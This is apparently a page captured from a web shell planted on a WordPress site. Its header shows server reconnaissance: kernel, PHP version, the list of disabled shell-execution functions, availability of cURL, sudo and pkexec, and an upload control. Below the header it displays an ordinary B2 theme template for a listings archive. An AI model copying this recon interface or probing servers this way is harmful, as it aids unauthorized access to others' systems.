AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/ |
Upload File : |
<?php
use B2\Modules\Common\Infomation;
b2_redirect_404('infomation');
/**
* 供求
*/
get_header();
$name = b2_get_option('normal_custom','custom_infomation_name');
$for = b2_get_option('normal_custom','custom_infomation_for');
$get = b2_get_option('normal_custom','custom_infomation_get');
$paged = get_query_var('paged');
$paged = $paged ? $paged : 1;
$count = b2_get_option('infomation_main','infomation_per_count');
$offset = ($paged -1)*$count;
?>
<div class="b2-single-content wrapper mg-b">
<div id="primary-home" class="content-area b2-infomation" ref="b2infomation" data-paged="<?php echo $paged; ?>" data-count="<?php echo $count; ?>">
<div class="infomation-list box b2-radius">
<div class="infomation-top-box">
<div class="info-h1">
<h1><?php echo b2_get_option('infomation_main','infomation_title'); ?></h1>
<a href="<?php echo b2_get_custom_page_url('po-infomation');?>" class="button" target="_blank">发布</a>
</div>
<div class="infomation-desc">
<?php echo b2_get_option('infomation_main','infomation_desc'); ?>
</div>
</div>
<?php get_template_part( 'TempParts/infomation/archive'); ?>
</div>
<div class="circle-list">
<ul>
<?php
$_pages = 0;
$args = [
'offset'=>$offset,
'post_status'=>'publish',
'include_children' => true,
'posts_per_page'=>$count,
'post_type'=>'infomation',
'meta_query'=>array(
'relation' => 'AND',
array(
'key' => 'b2_infomation_sticky',
'type' => 'NUMERIC'
),
),
'orderby'=>['meta_value_num' => 'DESC','date' => 'DESC']
];
$topic_query = new \WP_Query( $args );
if ( $topic_query->have_posts()) {
$_pages = $topic_query->max_num_pages;
while ( $topic_query->have_posts() ) {
$topic_query->the_post();
get_template_part( 'TempParts/infomation/infomation','item');
}
}
wp_reset_postdata();
?>
</ul>
<?php
$pagenav = b2_pagenav(array('pages'=>$_pages,'paged'=>$paged));
if($pagenav){
echo '<div class="b2-pagenav collection-nav post-nav box">'.$pagenav.'</div>';
}
?>
</div>
</div>
<?php
get_sidebar();
?>
</div>
<?php
get_footer();